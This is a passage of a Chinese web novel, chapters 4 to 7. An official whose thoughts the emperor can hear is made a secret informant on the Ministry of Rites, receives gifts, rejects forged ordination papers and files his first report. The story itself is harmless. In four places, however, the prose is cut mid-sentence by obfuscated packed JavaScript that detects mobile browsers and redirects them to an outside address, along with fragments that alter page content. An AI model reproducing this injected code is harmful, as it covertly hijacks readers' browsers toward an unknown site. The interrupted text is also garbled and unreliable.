好一会儿,他才放下奏章,脸上恢复了一贯的平静无波,只是眼角似乎残留着一丝可疑的水光,声音也似乎比刚才更清亮了一点。 “嗯,林卿所言,朕……甚慰。”萧彻顿了顿,看着下方那个表面恭敬温顺,内心却仿佛住着一只老虎的年轻官员,觉得今日这枯燥的晨起时光,骤然变得无比鲜活。 这个“暗卫”,真是点得太对了。 4. 第 4 章 萧彻看着下方那个坐得笔直、表情恭顺的林砚,决定不再绕弯子。 他放下抵着太阳穴的手,身体微微前倾,玄色常服的暗金龙纹在殿内柔和的光线下流转着低调的威压,声音依旧清冷平稳,却带着点不容置疑的意味:“林卿,朕今日召你前来,是为一件要事。” 林砚心头一紧,来了,终极甲方终于要发布任务了。 他立刻挺直腰板,屁股又往绣墩边缘挪了半寸,摆出全神贯注洗耳恭听状:“陛下请吩咐,微臣万死不辞。” 【来了来了!社畜的终极噩梦——老板亲自下达KPI!】 【万死不辞?死一次都嫌多!我只想活着下班……啊不,出宫!】 萧彻的嘴角几不可察地抽动了一下,他努力忽略掉脑子里的背景音,维持着帝王应有的威严:“礼部掌管天下礼仪、祭享、贡举等国之重典,位置紧要,然水至清则无鱼,朕需一双眼睛,替朕看着礼部。” 他看着林砚,目光沉静:“朕观林卿,心细如发,恪尽职守,又身处其中,最是合适,故钦点你为暗卫,专司监察礼部上下官员平日言行,有无错漏之处,尤其……需留意是否有贪赃枉法、结党营私之徒,事无巨细,皆可密报于朕。” 林砚感觉一股寒气从脚底板直冲天灵盖,比刚才在殿外吹冷风还透心凉。 【监察?监察谁?武海闵?还有那一屋子摸鱼甩锅宗师?】 【礼部的工作都做不完了!每天编乌鸦祥瑞、抠祭祀预算就已经耗光了我的阳寿!】 【现在还要我当007全天候监控同事?生产队的驴也不敢这么使唤啊!】 【老板,您这是想把我直接熬成灯油点太仪殿吧?】 内心疯狂吐槽,林砚脸上的表情管理却达到了职业生涯的巅峰,他深吸一口气,用尽毕生演技,努力让声音听起来只有“诚惶诚恐”和“感激涕零”:“陛下……陛下如此信任,微臣……微臣……” 他适时地停顿,仿佛激动得难以言表,实则是被内心那口巨大的怨气噎住了,说不出话来。 【信任?这信任的代价也太沉重了吧!】 【这活儿听着就不像有加班费的样子……】 【白打工?我林砚是那种会打白工的人吗?家里叫赁金不要还吗?母亲想买点新首饰新布料还得掂量,妹妹在舅舅家女学读书要钱,将来嫁妆总不能太寒酸吧?】 【我和爹那点俸禄,在京城也就勉强糊口,想住得离上班近点省点通勤时间都不行。】 【陛下啊陛下,您看起来龙袍加身金光闪闪的,不至于这么抠吧?给点辛苦钱行不行?一两?二两?实在不行……半两也行啊!蚊子腿也是肉!】 萧彻搭在御案上的手指,轻轻敲击着光滑的桌面,发出细微的“笃笃”声。 他看着林砚那副“激动得快要晕厥过去”的模样,听着他内心那无比精准、无比世俗的算盘打得噼啪响。 从赁金到母亲的首饰,从妹妹的嫁妆到通勤的痛苦,桩桩件件,充满了社畜对生活的焦虑和对老板抠门的控诉。 萧彻:“……” 他堂堂大渝天子,富有四海,在这小官心里,形象就这么……差? 他看起来就那么像会让手下打白工的皇帝吗? 萧彻忽然觉得有点无语,又有点好笑。 “咳。”萧彻清了清嗓子,打断了林砚内心那已经快算出“半两银子能买多少斤米”的碎碎念,“暗卫一职,虽为密差,然朕亦非刻薄寡恩之主。” 林砚的心声瞬间卡壳:“???” 萧彻端起茶盏,慢悠悠地啜了一口,仿佛在说一件无关紧要的小事:“每月俸银,一两。” 林砚感觉脑子里炸开了一朵绚烂的烟花!不是被气炸的,是喜的! 【一两?!】 【有银子?!】 【不是白干!陛下大气!陛下威武!陛下万岁!】 巨大的惊喜冲垮了林砚的理智堤坝,他猛地从绣墩上站起来,动作快得像屁股下面装了弹簧,脸上那点强装的惶恐瞬间被巨大的喜悦取代,声音都拔高了一个调,透着发自肺腑的欢快:“微臣谢陛下隆恩!陛下厚爱,臣定当肝脑涂地,竭尽全力,不负陛下所托!” 他这次把“万死不辞”说得字正腔圆,铿锵有力,充满了打鸡血般的干劲。 萧彻端着茶盏的手顿在半空,看着下方那个因为一两银子瞬间从“社畜垂死”状态满血复活、眼神亮得惊人的林砚,内心复杂。 就……这么高兴? 萧彻放下茶盏,挥了挥手,语气带着点被打断思绪的无奈:“行了,具体如何行事,自会有人教你,下去吧。” 今日这“乐子”,有点过于喧闹了。 李莲顺引着林砚往外走,宫道依旧漫长,但林砚的心情截然不同。 一两!一个月一两!一年就是十二两! 加上俸禄,好像……能攒下一点了? 要不先给娘添支簪子?她上回看街上那支看了好久。 妹妹的笔墨纸砚也该换新的了。 住得近点……嗯,这个还得再攒攒。 李莲顺听着身后年轻官员那几乎要哼出来的小调,再看看他那因为兴奋而略显轻快的步伐,心里直犯嘀咕:这位林大人,面个圣出来,怎么跟捡了金元宝似的? 陛下到底跟他说什么了? 李莲顺没有把人送出宫,而是交到了暗卫金一是手里。 萧彻手下的暗卫名为金影卫,暗卫们以金为姓,以编号为名,金一很显然就是其中翘楚。 “林大人,接下来您就跟着金一,他会详细同您交代。”李莲顺嘱咐。 李莲顺的身影消失在宫门深处,留下林砚与一个仿佛从阴影里直接凝聚出来的人影相对。 这人一身毫无纹饰的青色劲装,身形挺拔如松,面容平凡得丢进人堆里瞬间消失,唯有一双眼睛,沉静锐利,不带丝毫情绪。 他正是金一。 “林大人。”金一的声音平直无波,像念公文,“属下金一,奉陛下之命,向大人交代暗卫职责。” 林砚立刻收起刚才差点哼出小调的轻快,摆出严肃脸:“金大人请讲。” “其一,记录,对象,礼部所有官员,内容包括日常言行,有无渎职、懈怠、争执、异常举动,钱财往来,有无明显不合俸禄之出入,结交往来,有无与特定人员频繁密会或传递不明物件。” 他顿了顿,补充:“时间、地点、人物、对话关键点,务必详实。” 林砚点点头,跟会议记录差不多,不难。 “其二,呈报。”金一继续,“属下会派金九至林府后门槐树下,大人只需将记录好的密报置于石缝中即可,金九自会取走,大人无需露面。” 就在他家外边?还挺好的。 “其三,紧急。”金一从怀中摸出一块非金非木、触手温凉的黑色令牌,正面刻着一个古朴的“影”字,递给林砚,“若有危及朝廷或陛下、需即刻面圣之事,持此令牌至宫门东 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16434134|184940||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 侧角门,出示即可,自有人引大人入宫,非十万火急,不得擅用。” 林砚双手接过那沉甸甸的令牌,感觉像接了块烫手山芋。 不过就礼部那帮人,应当也不至于会有什么紧急的情况。 “职责已明,大人可还有疑问?”金一说完,看着林砚,眼神依旧古井无波。 林砚赶紧摇头:“没有了没有了,金大人交代得十分清楚。”他小心翼翼地把令牌揣进怀里最深的暗袋,生怕它掉出来。 “如此,林大人便出宫吧。”金一干脆利落地抱拳,身形一晃,如同融入阴影的水滴,悄无声息地消失在宫墙转角,留下林砚在原地有点发懵。 总算交代完了。 林砚松了口气,感觉紧绷的神经放松下来,随之而来的是巨大的疲惫和饥饿感。 折腾了大半天,早饭都没吃。 他揉了揉瘪下去的肚子,只想立刻回家扑向温暖的被窝和母亲的饭菜。 他抬脚就朝宫门外自家那辆“老狗”马车走去,脚步带着点虚浮。 刚走出没几步,身后传来一声带着点喘的呼唤:“林大人!林大人留步!” 林砚一僵,头皮发麻地回头。 只见李莲顺小跑着追了上来,身后还跟着两个提着硕大朱漆食盒的小太监。 不是吧?又来活儿了? 林砚的心瞬间提到嗓子眼,脸上挤出一个僵硬的笑容:“李公公?可是陛下还有吩咐?” 李莲顺跑到近前,喘匀了气,脸上堆起比之前更灿烂三分的笑容:“林大人误会了!陛下体恤大人辛劳,特赐下御膳房新制的几样点心小食,让大人带回去路上垫垫肚子,也……也让府上尝尝鲜。” 他侧身,示意小太监将那两个沉甸甸、散发着诱人食物香气的食盒递过来。 林砚看着那两个雕工精美的食盒,脑子有点转不过弯。 皇帝御膳房的吃食,就这么水灵灵地送了他两大盒? 林砚怀疑是不是今日御膳房做得多了,皇帝一个人吃不完。 不过谢恩林砚还是没有忘,朝着自己刚刚一路走过的方向拜了拜:“臣林砚,谢陛下隆恩。” “大人快请起,陛下的一点心意。”李莲顺笑眯眯地,“大人慢走。” “有劳公公!公公慢走!”林砚抱着两个宝贝食盒,感觉腰不酸了腿不疼了,脚步轻快得能原地起飞,三步并作两步地奔向自家马车。 老张头看着自家少爷抱着两个华丽的大食盒,脸上笑得像朵花儿似的钻进来,也愣了一下:“少爷,您这是……” “老张,回家!”林砚把食盒小心地放在车厢里,自己也挤进去,催促道,声音里是压不住的雀跃,“陛下赏的!御膳房的点心!咱们今天有口福了!” 马车轱辘轱辘地动起来。 车厢里,林砚小心翼翼地掀开其中一个食盒的盖子一条缝,浓郁诱人的香气瞬间充满整个空间。 他满足地深吸一口香气,又赶紧把盖子盖好,仿佛怕香气跑了似的。 阳光透过车帘缝隙照进来,落在朱漆食盒上,映出一片暖融融的光。 太仪殿内。 正批阅奏章的萧彻,笔尖微微一顿。 他仿佛能清晰地看到那个抱着食盒、在马车里傻乐的身影,以及那充满了食物香气和“陛下真好”的澎湃心声。 他端起茶盏,杯沿遮掩下,唇角勾起一个极淡,却真实愉悦的弧度。 嗯,今日份的“乐子”,收尾不错。 5. 第 5 章 林砚抱着两个沉甸甸的朱漆食盒迈进家门时,脚步轻快得能踩出鼓点,脸上那点残留的疲惫被一种近乎傻气的笑容彻底覆盖,嘴角咧到了耳根。 “爹!娘!快来看!”林砚的声音穿透前院,带着压不住的兴奋,直奔正堂,“陛下赏的!御膳房刚出锅的!” 林承稷正坐在堂屋八仙桌旁喝他的早粥,手里还捏着块炊饼,听到儿子这打了鸡血似的吆喝,他慢悠悠放下咬出牙印的炊饼,抬眼看去。 文韫从里间快步出来,手里还拿着件未缝完的夹袄:“砚儿回来了?面圣可还顺当?没出什么岔子吧?” 她温婉的脸上带着显而易见的紧张,目光先把儿子从头到脚扫了一遍,确认零件齐全、神色尚可,才落在那两个过分华丽的食盒上。 林砚把食盒往桌上一墩,发出沉闷的声响,震得桌上的粗瓷碗碟都跟着跳了一下。 他抹了把额角并不存在的汗,语气轻松得不像刚去见了掌握生杀大权的皇帝:“顺当!陛下人看着……嗯,还挺不错的。” 一边动手开食盒那精巧的金色锁扣,一边继续道:“不管真的假的吧,至少面子上是给足了,说话也和气,最后还特意赏了这些点心让带回来。”他顿了顿,想起那意外之财,声音又扬高了一度,“哦对了,爹,陛下还说了,我干暗卫的差事,每个月额外有一两银子。” “咔嚓”一声轻响,食盒盖子被掀开。 浓郁的香气如同实质般猛地炸开,林砚只觉得一股混合着油脂、蜜糖、坚果和某种从未闻过的清甜花果气息的热浪扑面而来,霸道地侵占了所有感官。 文韫“呀”了一声,凑近去看。 只见食盒内分了三层,每一层都用洁白的细棉布垫着,上面整整齐齐码放着各色精致点心,其形态颜色之丰富,远超林砚贫乏的点心词汇库。 最上层是几枚半透明、包裹着粉嫩虾仁和翠绿豌豆的水晶饺,皮薄得能透光;中间一层是炸得金黄酥脆、形如小元宝的酥点,隐约可见内里深色的馅料;最底下是几块雪白松软、点缀着艳红果脯的蒸糕,旁边还挤着几个小巧玲珑、做成花瓣形状的酥饼。 “这都是些什么呀?”文韫看得眼花缭乱,手指都不敢轻易去碰,生怕碰坏了那点心的形状,“瞧着可真是金贵。” 林承稷也放下了筷子,身体微微前倾,目光在那堆他只在年节大祭贡品单子上见过类似描述的吃食上逡巡。 他喉结不明显地滚动了一下,才开口,声音依旧沉稳:“陛下厚赐,面圣……果真无事?” 林砚正小心翼翼地将另一个食盒也打开,里面是码放得整整齐齐的几样肉食——酱色油亮的卤肉片、金黄诱人的烤鹌鹑、还有一碟莹润剔透的水晶肴肉。 “真没事,爹您就放心吧,陛下瞧着挺讲道理的。”他含糊地带过暗卫职责,“反正,赏是真赏了,银子也是真给了。” 林承稷仔细观察着儿子的神色,见他眉宇间只有得了实惠的放松和喜悦,并无半分强装的惶恐或深藏的忧虑,那颗从昨日接到口谕起就一直悬着的心,才算是真正落回了实处。 他缓缓舒出一口长气,点了点头:“无事便好,既是陛下赏的,便不可辜负。” 一家人围着八仙桌坐下,桌上原本的炊饼被迅速撤下,换上了御赐的珍馐。 林砚饿得前胸贴后背,率先夹起一个水晶饺塞进嘴里。 那薄如蝉翼的皮在齿间破裂,鲜甜的虾仁和清爽的豌豆泥混合着一种难以形容的汤汁瞬间充盈口腔,好吃得他差点把舌头吞下去。 “唔,娘您快尝尝这个。”他含糊不清地招呼着,又迫不及待地伸筷子去夹那金黄的元宝酥。 一口下去,外皮酥脆掉渣,内里是细腻香甜的栗蓉馅,还裹着大颗的松子仁,咀嚼间满口生香。 文韫小口咬下半块雪白的蒸糕,松软的口感带着浓郁的蛋香和奶香,中间夹着的红色果脯酸甜可口。 她细细品味着,脸上露出由衷的赞叹:“这味儿真是从没尝过,也不知用了多少好料。” 林承稷则夹起一片薄如纸的卤肉,对着光看了看那均匀漂亮的酱色纹理,才送入口中,肉质软烂入味,咸香中带着一丝恰到好处的甘甜,显然是用了上好的老卤和冰糖。 他慢慢咀嚼着,没说话,只是又夹了一片。 两个大食盒的分量相当扎实,一家人吃得心满意足,连午饭都省了,最后一点碎屑都被林砚用炊饼蘸着食盒底部的油汁打扫干净。 林砚摸着溜圆的肚子,感觉浑身暖洋洋的,连熬了大半夜又奔波半天的疲惫都似乎被这顿御膳抚平了不少。 他打了个大大的哈欠,眼角渗出点生理性的泪水:“爹,娘,我去睡会儿,困得睁不开眼了。” 文韫心疼地点头:“快去快去,好好歇着,这一大早的。” 林砚几乎是飘回了自己那间小小的卧房,连外袍都懒得脱,一头栽倒在床上,脑袋沾到枕头不到三个呼吸,均匀绵长的呼吸声就在小小的房间里响起,彻底沉入了黑甜乡。 这一觉睡得天昏地暗,直到窗外的日头明晃晃地直射进来,晒得被褥都有些发烫,林砚才被腹中的饥饿感唤醒。 他迷迷瞪瞪地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16434135|184940||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 睁开眼,看着透过窗纸映进来的、明显已是正午时分的强光,反应了好一会儿,才慢吞吞地坐起身。 啊!休沐日!宝贵的休沐日…… 半天就这么睡没了? 林砚穿好鞋,慢悠悠晃到桌边,拿起昨夜就备好的笔墨纸砚。 今日休沐,不用去礼部点卯,不用看武海闵那张脸,不用给郑经擦屁股,他打算给远在舅舅家女学读书的妹妹林墨写封信。 磨好墨,铺开略显粗糙的纸笺,林砚提笔。 “墨儿吾妹,见字如面,家中一切安好,父母康健,勿念,京中渐寒,料想舅家所在亦已入秋,早晚务必添衣,莫要贪凉……” 写到这里,他笔尖顿了顿。 这小丫头片子,上次来信又说什么“纸笔尚足,新衣勿急”,小小年纪操心那么多,骗谁呢?舅舅家清贵是清贵,可也跟自家一样,都是靠俸禄过日子。 她肯定又舍不得用新纸,舍不得穿新做的夹袄,省下的钱指不定又偷偷塞给哪个交不起束脩的同窗了。 林砚摇摇头,继续落笔。 “读书虽紧要,身体更是根本,勿要过分俭省,该吃则吃,该用则用,家中一切皆有,父亲与兄俸禄虽薄,然供养吾妹衣食笔墨,绰绰有余,万不可委屈了自己……” 写到俸禄时,林砚的笔悬在半空,墨水差点滴落纸面。 暗卫这一两银子要不要提? 算了算了!多一事不如少一事。 这差事听着就不像能见光的,万一墨儿年纪小不懂事,信里漏出去半句…… 还是烂在肚子里安全。 他迅速将“俸禄”两字写完,跳过了所有关于“兼职”和“加薪”的念头,只字未提,信的后半段便絮叨了些京中琐事,天气如何,街市上新出了什么果子,叮嘱她用心功课,莫要淘气。 写完信,吹干墨迹,小心封好,林砚伸了个大大的懒腰,骨头节发出噼啪的轻响。 窗外日影西斜,将庭中那棵老槐树的影子拉得长长的。 一股巨大的、熟悉的怨念缓缓从心底升起,沉甸甸地压下来。 明天又要去礼部,又要见武海闵,又要写那些狗屁不通的祥瑞考、预算表……还要分神盯着那群摸鱼精。 林砚望着窗外渐渐暗淡下去的天光,只觉得眼前一黑,仿佛已经看到了明天卯时三刻,自己顶着一双熊猫眼,如同行尸走肉般飘进礼部公廨大门的悲惨景象。 他哀嚎一声,不是用嘴,而是在心底发出了无声的、社畜灵魂的终极呐喊。 休沐日——你死得好惨啊! 6. 第 6 章 休沐日短暂得像打了个盹儿,卯时三刻,林砚再次把自己塞进了礼部祠部司公廨。 空气中弥漫着熟悉的墨味和一种类似隔夜点心的可疑气息,不知道哪个同事没有把东西吃完就扔公廨了。 林砚刚把自己那副熬夜修仙的尊容安顿在公文垃圾山后,连口热水都没来得及灌下去,一道阴影便精准地、带着点鬼祟意味地笼罩了他的案头。 抬头一看,郑经那张脸笑得像朵开败了的菊花,褶子里都透着“有求于人”的心虚,怀里紧紧抱着一沓纸,仿佛抱着什么烫手山芋,又像是抱着刚挖出来的祖传宝贝。 “林大人,早啊。”郑经的声音刻意压低,带着点讨好的颤音,“您……您歇息好了吧?” 林砚眼皮都没抬,“嗯”了一声,权当回应。 他太了解郑经了,这姿态,准没好事,不是甩锅就是挖坑。 老话说得好,无事献殷勤,非奸即盗。 果然,郑经左右瞄了一眼,确认没人特别注意这边,才把那沓纸小心翼翼地放在林砚桌上那堆待批预算卷宗的最顶端,动作轻柔得像在安放刚出生的人类幼崽。 “林大人,您看,这点小事儿……”郑经搓着手,脸上的笑容有点挂不住,“就是几个僧道名籍,还有几张度牒,手续……咳,手续基本都齐活了,就差您这儿盖个祠部司的大印。” 林砚的目光落在那沓纸上。 僧道名籍?度牒?郑经这鬼鬼祟祟的架势,就差在脑门上刻“我有问题”四个大字了。 他随手拿起最上面一张度牒扫了一眼。 嚯。 这名字,慧根? 谁的脸啊这么大? 看着就不像有慧根的样子。 籍贯写得含糊不清,师承门派更是闻所未闻,再看那附着的所谓“地方官印”,模糊得跟小孩尿床后的地图似的。 林砚的指尖在那模糊的印鉴上点了点,没说话,只是抬眼,用一种“你仿佛在逗我”的眼神看着郑经。 郑经被他看得后脖颈发凉,笑容僵在脸上,声音更低了:“林大人,您看……这个,稍微通融一下?就盖个章的事儿,很快的!绝不给您添麻烦!” 他顿了顿,像是想起什么强有力的靠山,腰杆子稍微挺直了点:“再说了,这可是刑部……刑部那位王主事托人递过来的关系,王主事您知道吧?他岳父可是……” “刑部哪位大人?”林砚的声音平平地响起,不高,却像块冰坨子砸在郑经脚面上,打断了他后面的话。 郑经噎住了:“呃……就……刑部的王主事……” “王主事?”林砚放下那张度牒,身体微微后仰,靠在那张嘎吱作响的破木椅背上,眼神平静无波,“他刑部主事,跟礼部祠部司的僧道度牒,有什么关系?是他要出家?还是他家亲戚要剃度?需要他亲自牵线搭桥?” 林砚拿起那张度牒,指尖弹了弹那模糊的官印:“手续基本齐活?郑主事,你这‘基本’的底线,是挖穿地心直达地府了吗?这印鉴糊成这样,你是打算让陛下的火眼金睛去玩‘猜猜我是谁’?” 刑部王主事?管砍头的把手伸到管磕头的礼部来了?手伸得挺长啊。 管他岳父是谁,他岳父再大还能有皇帝大?皇帝不喜宗教扩张,还敢搞这种事情,他的脑袋又不是跟脖子不匹配了想搬家。 拿这种糊弄鬼的玩意儿让我盖章?郑经你个棒槌是当耳边风还是脑子被门挤了?找死别拖我下水! 郑经的脸瞬间涨成了猪肝色,被林砚这连珠炮似的、不带脏字的挤兑噎得差点背过气去。 他急得额头冒汗,语速飞快:“林大人!话不能这么说啊!王主事那也是……那也是看在同僚份上,人家托付的事,咱们不办,那不是平白得罪人吗?王主事在刑部,万一以后有点什么小事求到人家头上,人家卡你一下,多不划算不是?再说了,这也就是个顺水人情,印章一盖,神不知鬼不觉,谁查去?何必……” “不盖。”林砚干脆利落地吐出两个字,像把剪刀剪断了郑经所有的侥幸。 他慢条斯理地把那沓不合格的度牒和名籍推回到郑经面前:“手续不全,印鉴不明,来源不清,祠部司的大印,盖的是朝廷法度,不是人情世故,郑主事,你要送人情,拿你自己的私章盖去,我管不着,祠部司的印,不行。” 郑经说话还一股他现代亲戚长辈的味儿,动不动就是求到人家,请问呢,小事我需要去求人,大事求人有用? 还不如拿着金影卫的牌子冒险进宫求见皇帝来得好。 郑经看着被推回来的“烫手山芋”,又气又急,指着林砚,手指头都在哆嗦:“你!林大人!你……你怎么这么死脑筋!油盐不进!得罪了王主事,以后有你好看的!咱们都在一个衙门里低头不见抬头见,你非得把事做绝?” 林砚听笑了,他头上顶着的是乌纱帽,又不是避雷针。 陛下严管宗教的风声你是一点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16434136|184940||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没听见?还是觉得天塌下来有武海闵顶着? 武海闵顶不顶得住我不知道,反正我这个小身板肯定第一个被砸成肉饼! 林砚看着郑经气急败坏的脸,反而笑了,那笑容温和得像三月春风,说出来的话却让郑经心底发毛:“郑主事多虑了,我林砚行事,只按规矩,不惧得罪谁,至于好看不好看……” 他拿起手边另一份需要核签的《祈雨祭山流程勘误》,慢悠悠翻开:“我这张脸,天生就这样,劳您费心了,慢走,不送。” 郑经被堵得哑口无言,脸上一阵红一阵白,一把抓起那沓被退回的度牒名籍,气呼呼地转身就走,袍袖带起一阵不甘心的风。 看着郑经落荒而逃的背影,林砚脸上的假笑瞬间垮塌,只剩下满眼的不耐烦。 还敢威胁我?还想给我找麻烦?行!我今天就把你郑经,连同你那个刑部的靠山王主事,一起写到给陛下的工作汇报里! 林砚越想越气,那股又被郑经恶心到的怨气,混合着一种“老子今天就要告状”的冲动,一把拉开案几最底层的抽屉,精准地摸出了几张质地特殊,没有任何标识的暗纹纸笺。 这是金一给他的“密报专用纸”。 铺开纸笺,林砚提笔蘸墨,一丝不苟地开始书写今日的“暗卫工作日志”。 他先按规矩,写了日期、地点,然后笔锋一转,直奔主题。 【……祠部司主事郑经,于今日辰时初刻,持僧道名籍七份、度牒三张至职案前,要求职加盖祠部司印鉴,职查验其文,名籍籍贯师承多有不详,所附地方官印模糊难辨,显系不合规制,郑经言语闪烁,初以小事通融相诱,被拒后,竟搬出刑部王主事(名讳待查)及其岳父关系施压,言称不办恐得罪人、盖章神不知鬼不觉,职严词拒绝,重申朝廷法度,郑经悻悻而去,然其行迹鬼祟,所持度牒来源存疑,更兼公然以刑部官员身份干涉礼部祠部司职掌,藐视陛下严管僧道之明令,其心可诛……】 林砚写得飞快,笔尖在纸上游走,带着一股“老子今天就要为民除害”的凛然正气。 写完最后一个字,林砚吹干墨迹,小心地将密报折叠好,塞进怀里特制的暗袋,和那块非金非木的令牌放在一起。 做完这一切,他才长长地舒了一口气,仿佛卸下了一个沉重的包袱。 至于明天郑经和王主事会不会倒霉?那是陛下该操心的事。 他林砚,今日份的暗卫工作,圆满完成! 7. 第 7 章 天色彻底暗沉,浓墨泼洒,只余几颗疏星在云隙里探头探脑。 林砚拖着仿佛灌了铅的双腿,挪回自家那条熟悉的小巷。 他熟门熟路地拐到后门那棵歪脖子老槐树下,动作快得像训练有素的贼。 左右瞄了一眼,确认巷子空得能跑马,迅速从怀里掏出那张叠得方方正正、记录了郑经和王主事“光辉事迹”的暗纹纸笺,塞进树根下一道不起眼的石缝里。 做完这一切,林砚瞬间感觉身上无形的担子轻了一截,脚步都轻快了几分,哼着不成调的曲子,慢悠悠晃进了家门。 晚饭是热腾腾的粟米粥和他爱吃的红烧肉,配上几碟清爽小菜,林砚饿得前胸贴后背,风卷残云般扫荡干净。 文韫看着儿子狼吞虎咽的模样,又是心疼又是好笑:“慢点吃,锅里还有呢。” 林承稷慢条斯理地喝着粥,抬眼看了看儿子:“今日衙门里可还顺当?” “顺当顺当。”林砚含糊地应着。 除了差点被郑经那个二百五气出脑溢血。 林砚飞快扒完最后一口粥,放下碗筷:“爹,娘,我吃好了,回屋歇着了。” 他急需回到自己的小天地,卸下“礼部卷王”和“御前密探”的双重伪装,做回一条只想躺平的咸鱼。 穿过小小的庭院,回到自己那方小小的院落。 夜风微凉,吹散了身上最后一丝饭气和烟火气。 林砚长长舒了口气,伸手去推自己那扇吱呀作响的房门。 就在门扇即将合拢,发出那声熟悉的“咔哒”锁舌轻响时—— “笃!” 一声沉闷的撞击声陡然响起,硬生生卡在了门缝里! 林砚浑身汗毛“唰”一下全体起立,心脏像是被一只无形的手狠狠攥住,又猛地扔到冰水里,脑子里“嗡”的一声,什么武海闵、郑经、王主事、暗卫令牌全被炸飞了,只剩下一个血淋淋的大字:危! 谁?!入室抢劫?仇家寻仇? 还是……皇帝派人来灭口了?!那密报写得太啰嗦陛下烦了?! 他腿肚子疯狂转筋,几乎要支撑不住身体的重量,全靠双手死死扒住门框才没当场表演一个五体投地。 他僵硬地、一点一点地扭动仿佛生锈的脖颈,眼睛瞪得溜圆,惊恐地看向卡住门缝的东西。 不是刀,不是剑。 是一个刀鞘。 乌沉沉的,没有任何装饰,月光下泛着冷硬的光泽,像一截沉默的玄铁。 林砚喉咙发紧,感觉呼吸都带着冰碴子,大脑一片空白,连呼救都忘了。 就在他即将被自己的恐惧压垮,膝盖一软要往地上栽的时候,一个冷硬得像石头摩擦的声音,毫无预兆地贴着门缝响起,音量不高,却清晰得如同在耳边低语: “林大人,是我,金九。” 金九?! 林砚那口卡在嗓子眼的气,“噗”一下泄了,整个人像被抽掉了骨头,软绵绵地顺着门框往下滑,全靠意志力勉强撑着没瘫倒。 他大口大口地喘着气,感觉后背的冷汗已经浸透了中衣。 亲娘咧!吓死人了。 勉强稳住心神,林砚把门拉开一条能容一人通过的缝隙。 门外阴影里,果然站着那个存在感低得像背景板的身影,依旧是毫无特色的脸,毫无情绪的眼睛。 “金……金大人?”林砚的声音还有点抖,带着劫后余生的虚脱感,“您……您请进?”他侧身让开位置。 金九没动,像一尊嵌在夜色里的石雕。 他沉默地从身后提出一个东西,递到林砚面前。 一个食盒。 不是昨天那种华丽的朱漆食盒,只是一个普通的深色木盒,没有任何标识,朴素得像个街边打包剩菜的盒子。 “陛下让送来的。”金九的声音平板无波,言简意赅,连个多余的停顿都没有。 林砚下意识地伸手接过,入手沉甸甸的,带着点温热。 “陛下?”他更懵了,下意识追问,“陛下为何……” 话没说完,金九已经干脆利落地收回手,身形往后一退,瞬间融入更深沉的黑暗里,只留下一句余音:“东西送到,告辞。” 话音未落,人已消失不见,快得让林砚怀疑刚才是不是出现了幻觉,院子里空荡荡,只有夜风吹过树叶子的沙沙声。 林砚抱着那个食盒,站在自己房门口,像个刚被外星人塞了礼物的地球人,一脸懵逼加茫然。 啥情况? 陛下发员工福利了? 林砚满脑子问号,抱着食盒进了屋,反手插上门栓,把食盒放在桌上,小心翼翼地掀开盖子。 一股混合着甜香和清冽茶香的气息扑面而来。 食盒里分两层。 上层是几块小巧玲珑、晶莹剔透的点心, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16434137|184940||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 造型各异,有花朵形状的,有玉兔模样的,看着就精致得不像凡品,还散发着淡淡的奶香和果香。 下层则是一个扁平的青瓷罐子,罐身素雅,没有任何花纹,只贴着一张小小的素笺,上面写着两个清隽的小字:雪芽。 林砚认得这名字,这是贡茶,顶级的! 据说一年也产不了几斤,价比黄金,他只在一些顶级权贵家的茶会上,远远闻到过别人冲泡时飘出的一丝香气。 雪芽就这么赏给他了? 难道……这就是传说中的精神损失费?因为每天要忍受武海闵的精神污染和郑经的智商暴击? 林砚看着那罐价值不菲的雪芽,又看看旁边那些看着就很好吃的点心,心里的问号非但没有减少,反而像滚雪球一样越滚越大。 不对劲。 非常不对劲。 大老板该不会真有什么特殊癖好吧? 比如……喜欢看下属受宠若惊、感恩戴德、然后继续被他往死里压榨的样子? 嘶……新型职场PUA? 